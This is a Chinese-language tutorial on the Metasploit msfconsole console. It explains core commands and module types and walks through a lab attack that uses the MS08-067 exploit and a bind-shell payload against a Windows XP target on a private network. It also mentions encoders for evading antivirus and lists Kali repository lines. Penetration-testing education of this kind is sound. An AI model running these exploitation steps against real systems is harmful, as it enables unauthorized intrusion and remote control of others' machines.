前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >msfconsole 控制台使用和操作[通俗易懂]

msfconsole 控制台使用和操作[通俗易懂]

作者头像
全栈程序员站长
发布2022-10-29 11:31:29
2.3K0
发布2022-10-29 11:31:29
举报

大家好,又见面了,我是你们的朋友全栈君。

Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。Msfconsole还有第三方程序的接口,比如nmap,sqlmap等,可以直接在msfconsole里面使用。 在启动MSF终端之后,可以首先输入help命令列出MSF终端所支持的命令列表,包括核心命令集和后端数据库命令集。对于其中的大部分命令,你可以输入help[COMMAND],进一步查看该命令的使用帮助信息。

1.输入 msfconsole 打开

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

2.然后输入 search ms08-067查找漏洞 打开远程桌面协议

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

use参数 这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数 使用漏洞 use 你选择的利用模块

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

Show参数 这个命令用的很多。请一定认真看。如果单纯的输入show,那么就会显示出所有的payload,利用模块,post模块,插件等等。但是一般我们都不这么使用。如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。 展示可用载荷show payloads

查看还需要设置的选项 show options,为YES且空的就是还需要我们设置的。 可以看到下图中RHOST参数还未设置内容

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

Set参数 这个主要是对payload或者其他模块进行设置。比如设置攻击目标的IP就是set RHOST 192.168.0.2

然后输入 exploit 执行攻击,输入exit退出

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]
  • MSF的六个模块:exploit,encoder,payload,aux,post,nops
    • exploit——渗透攻击模块
代码语言:javascript
复制
        测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的有内存溢出,网站程序漏洞利用,配置错误exploit。
代码语言:javascript
复制
        exploits总的来说共分为两类溢出(exploit)攻击方法,即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针
        对目标主机被动的监听然后获得相应的操作。
代码语言:javascript
复制
        Exploit共分为13种,分别是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。
  • encoder——编码器模块,对指令重新进行编码,用以实现反检测功能、指令顺利执行等
代码语言:javascript
复制
在metasploit中内置了27种encode模块,可对metasploit中的exploit进行编码(encode),以避免反病毒软件检测。如:
代码语言:javascript
复制
generic/none normal The "none" Encoder
代码语言:javascript
复制
mipsbe/longxor normal XOR Encoder
代码语言:javascript
复制
mipsle/longxor normal XOR Encoder
代码语言:javascript
复制
php/base64 great PHP Base64 encoder
代码语言:javascript
复制
ppc/longxor normal PPC LongXOR Encoder
  • payload——攻击载荷模块, 由一些可动态运行在远程主机上的代码组成
代码语言:javascript
复制
我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一
代码语言:javascript
复制
个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只
代码语言:javascript
复制
能在目标机器上执行有限命令的程序。
  • aux——辅助模块,用以实现辅助攻击,如端口扫描工具、口令猜测激活成功教程、敏感信息嗅探等
  • post——后渗透攻击模块
代码语言:javascript
复制
在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。
  • nops——空指令模块,用以产生缓冲区填充的非操作性指令
  • 使用msfconsole,了解msfcli,msfgui

Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console终端模式,第三种是CLI(命令行)模式。msfcli 虽然和msfconsole一样同为命令行界面,

但是他不提供交互的命令行模式,直接通过命令行执行输出结果,直接调用辅助模块和攻击模块对目标进行渗透攻击,更为高效便捷。msfgui 图形化界面工具可

轻松地单击鼠标,输入目标 IP 地址,就可以使用 Metasploit 强大功能渗透进入目标系统 。

  1. msfconsole模式最常用,启动方式:

输入msfconsole

运行此命令后将进入msf 命令提示符:

msf>

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

2、获取命令的帮助信息:help

例子:help connect

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

3、Armitage :MSF 的一个图形接口

运行方式:armitage

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]
  • 常用exploit,payload设置参数
  1. show exploit——显示Metasploit中所有渗透攻击模块
  2. show playload——查看所有活动状态的攻击载荷
  • 攻击靶机并获取shell

被攻击者IP地址:192.168.120.131,操作系统Windows XP sp3

攻击者IP地址:192.168.120.130

1.//查找ms08_067漏洞

msf > search ms08_067

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

2、//使用MS08_067漏洞 use exploit/windows/smb/ms08_067_netapi

3、//设置远程地址,正向连接 set RHOST 192.168.120.131

4、//设置ShellCode set payload windows/shell_bind_tcp

5、//显示配置的选项 show options

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

6、//expliot攻击

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

成功返回Shell

msfconsole 控制台使用和操作[通俗易懂]
msfconsole 控制台使用和操作[通俗易懂]

源:

deb http://mirrors.ustc.edu.cn/kali sana main non-free contrib

deb http://mirrors.ustc.edu.cn/kali-security/ sana/updates main contrib non-free

deb-src http://mirrors.ustc.edu.cn/kali-security/ sana/updates main contrib non-free #阿里云kali源

deb http://mirrors.aliyun.com/kali sana main non-free contrib

deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free deb http://http.kali.org/kali kali-rolling main non-free contrib

deb cdrom:[Debian GNU/Linux 2.0 _Sana_ – Official Snapshot i386 LIVE/INSTALL Binary 20150811-09:06]/ sana contrib main non-free deb cdrom:[Debian GNU/Linux 2.0 _Sana_ – Official Snapshot i386 LIVE/INSTALL Binary 20150811-09:06]/ sana contrib main non-free deb http://http.kali.org/kali sana main non-free contrib deb-src http://http.kali.org/kali sana main non-free contrib deb http://security.kali.org/kali-security/ sana/updates main contrib non-free deb-src http://security.kali.org/kali-security/ sana/updates main contrib non-free deb http://http.kali.org/kali kali main non-free contrib deb-src http://http.kali.org/kali kali main non-free contrib deb http://security.kali.org/kali-security kali/updates main contrib non-free deb http://mirrors.aliyun.com/kali kali main non-free contrib deb-src http://mirrors.aliyun.com/kali kali main non-free contrib

deb http://mirrors.aliyun.com/kali kali main non-free contrib deb-src http://mirrors.aliyun.com/kali kali main non-free contrib deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free

deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/196418.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年9月7日 上,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档